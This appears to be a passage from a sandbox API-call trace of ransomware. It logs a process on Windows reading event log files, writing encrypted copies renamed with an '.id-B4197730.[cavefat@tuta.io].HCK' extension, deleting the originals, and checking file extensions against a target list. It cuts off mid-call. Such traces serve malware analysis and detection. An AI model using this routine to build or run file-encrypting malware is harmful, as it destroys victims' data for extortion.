[0153.617] lstrlenW (lpString=".1cd") returned 4 [0153.617] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0153.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0153.617] lstrlenW (lpString=".jpg") returned 4 [0153.617] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0153.617] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0153.617] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71 [0153.617] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0153.618] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1052672) returned 1 [0153.618] CloseHandle (hObject=0x2fc) returned 1 [0153.618] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0153.618] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.618] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0153.618] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.618] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.618] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0153.619] GetLastError () returned 0x0 [0153.619] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0153.953] WriteFile (in: hFile=0x300, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0153.966] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x1010, lpOverlapped=0x0) returned 1 [0153.972] WriteFile (in: hFile=0x300, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x1020, lpOverlapped=0x0) returned 1 [0153.975] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.975] WriteFile (in: hFile=0x300, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x162, lpOverlapped=0x0) returned 1 [0153.975] SetEndOfFile (hFile=0x300) returned 1 [0153.975] CloseHandle (hObject=0x300) returned 1 [0153.992] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.992] SetEndOfFile (hFile=0x2fc) returned 1 [0153.993] CloseHandle (hObject=0x2fc) returned 1 [0153.993] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0154.498] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0154.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0154.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0154.527] lstrlenW (lpString=".doc") returned 4 [0154.527] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.527] lstrlenW (lpString=".docx") returned 5 [0154.528] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.528] lstrlenW (lpString=".pdf") returned 4 [0154.528] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString=".xls") returned 4 [0154.528] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString=".xlsx") returned 5 [0154.528] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.528] lstrlenW (lpString=".ppt") returned 4 [0154.528] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0154.528] lstrlenW (lpString=".zip") returned 4 [0154.528] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString=".rar") returned 4 [0154.528] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString=".bz2") returned 4 [0154.528] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString=".7z") returned 3 [0154.528] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0154.528] lstrlenW (lpString=".dbf") returned 4 [0154.528] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0154.528] lstrlenW (lpString=".1cd") returned 4 [0154.528] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0154.528] lstrlenW (lpString=".jpg") returned 4 [0154.528] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0154.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0154.528] lstrlenW (lpString=".doc") returned 4 [0154.528] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString=".docx") returned 5 [0154.528] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.528] lstrlenW (lpString=".pdf") returned 4 [0154.528] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString=".xls") returned 4 [0154.528] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString=".xlsx") returned 5 [0154.528] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.528] lstrlenW (lpString=".ppt") returned 4 [0154.528] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0154.528] lstrlenW (lpString=".zip") returned 4 [0154.528] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString=".rar") returned 4 [0154.528] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString=".bz2") returned 4 [0154.528] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.528] lstrlenW (lpString=".7z") returned 3 [0154.528] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0154.529] lstrlenW (lpString=".dbf") returned 4 [0154.529] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0154.529] lstrlenW (lpString=".1cd") returned 4 [0154.529] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0154.529] lstrlenW (lpString=".jpg") returned 4 [0154.529] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.529] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.529] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50 [0154.529] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.529] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=69632) returned 1 [0154.529] CloseHandle (hObject=0x360) returned 1 [0154.529] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0154.529] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.529] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.529] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.529] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.529] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.530] GetLastError () returned 0x0 [0154.530] ReadFile (in: hFile=0x360, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.532] WriteFile (in: hFile=0x384, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.533] ReadFile (in: hFile=0x360, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.534] WriteFile (in: hFile=0x384, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x138, lpOverlapped=0x0) returned 1 [0154.534] SetEndOfFile (hFile=0x384) returned 1 [0154.534] CloseHandle (hObject=0x384) returned 1 [0154.536] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.536] SetEndOfFile (hFile=0x360) returned 1 [0154.537] CloseHandle (hObject=0x360) returned 1 [0154.537] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0154.537] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0154.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0154.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0154.537] lstrlenW (lpString=".doc") returned 4 [0154.537] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.537] lstrlenW (lpString=".docx") returned 5 [0154.537] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.537] lstrlenW (lpString=".pdf") returned 4 [0154.537] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.537] lstrlenW (lpString=".xls") returned 4 [0154.537] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.537] lstrlenW (lpString=".xlsx") returned 5 [0154.537] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.537] lstrlenW (lpString=".ppt") returned 4 [0154.537] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0154.537] lstrlenW (lpString=".zip") returned 4 [0154.537] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString=".rar") returned 4 [0154.538] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString=".bz2") returned 4 [0154.538] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString=".7z") returned 3 [0154.538] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0154.538] lstrlenW (lpString=".dbf") returned 4 [0154.538] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0154.538] lstrlenW (lpString=".1cd") returned 4 [0154.538] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0154.538] lstrlenW (lpString=".jpg") returned 4 [0154.538] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0154.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0154.538] lstrlenW (lpString=".doc") returned 4 [0154.538] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString=".docx") returned 5 [0154.538] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.538] lstrlenW (lpString=".pdf") returned 4 [0154.538] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString=".xls") returned 4 [0154.538] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString=".xlsx") returned 5 [0154.538] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.538] lstrlenW (lpString=".ppt") returned 4 [0154.538] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0154.538] lstrlenW (lpString=".zip") returned 4 [0154.538] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString=".rar") returned 4 [0154.538] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString=".bz2") returned 4 [0154.538] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString=".7z") returned 3 [0154.538] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0154.538] lstrlenW (lpString=".dbf") returned 4 [0154.538] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0154.538] lstrlenW (lpString=".1cd") returned 4 [0154.538] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0154.538] lstrlenW (lpString=".jpg") returned 4 [0154.539] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.539] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.539] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56 [0154.539] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.539] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2166784) returned 1 [0154.539] CloseHandle (hObject=0x360) returned 1 [0154.539] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0154.539] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.539] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0154.540] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.540] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0x0) returned 1 [0154.540] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0154.540] ReadFile (in: hFile=0x360, lpBuffer=0x35e8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x35e8058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0154.542] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0154.542] ReadFile (in: hFile=0x360, lpBuffer=0x3628058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3628058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0154.546] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.546] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0154.546] ReadFile (in: hFile=0x360, lpBuffer=0x3668058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3668058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0154.567] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.567] WriteFile (in: hFile=0x360, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x2acfca8, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfca8*=0xc015c, lpOverlapped=0x0) returned 1 [0154.983] SetEndOfFile (hFile=0x360) returned 1 [0154.983] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e56040 [0154.986] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0154.986] WriteFile (in: hFile=0x360, lpBuffer=0x3e56040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e56040*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0154.987] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0154.987] WriteFile (in: hFile=0x360, lpBuffer=0x3e56040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e56040*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0154.988] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0154.988] WriteFile (in: hFile=0x360, lpBuffer=0x3e56040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e56040*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0154.989] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e56040 | out: hHeap=0x6b0000) returned 1 [0154.991] CloseHandle (hObject=0x360) returned 1 [0155.840] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0155.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0155.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0155.841] lstrlenW (lpString=".doc") returned 4 [0155.841] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString=".docx") returned 5 [0155.841] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.841] lstrlenW (lpString=".pdf") returned 4 [0155.841] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString=".xls") returned 4 [0155.841] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString=".xlsx") returned 5 [0155.841] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.841] lstrlenW (lpString=".ppt") returned 4 [0155.841] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0155.841] lstrlenW (lpString=".zip") returned 4 [0155.841] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString=".rar") returned 4 [0155.841] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString=".bz2") returned 4 [0155.841] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString=".7z") returned 3 [0155.841] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0155.841] lstrlenW (lpString=".dbf") returned 4 [0155.841] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0155.841] lstrlenW (lpString=".1cd") returned 4 [0155.841] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0155.841] lstrlenW (lpString=".jpg") returned 4 [0155.841] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0155.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0155.841] lstrlenW (lpString=".doc") returned 4 [0155.841] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString=".docx") returned 5 [0155.841] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.841] lstrlenW (lpString=".pdf") returned 4 [0155.841] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString=".xls") returned 4 [0155.841] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString=".xlsx") returned 5 [0155.841] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.841] lstrlenW (lpString=".ppt") returned 4 [0155.841] lstrcmpiW 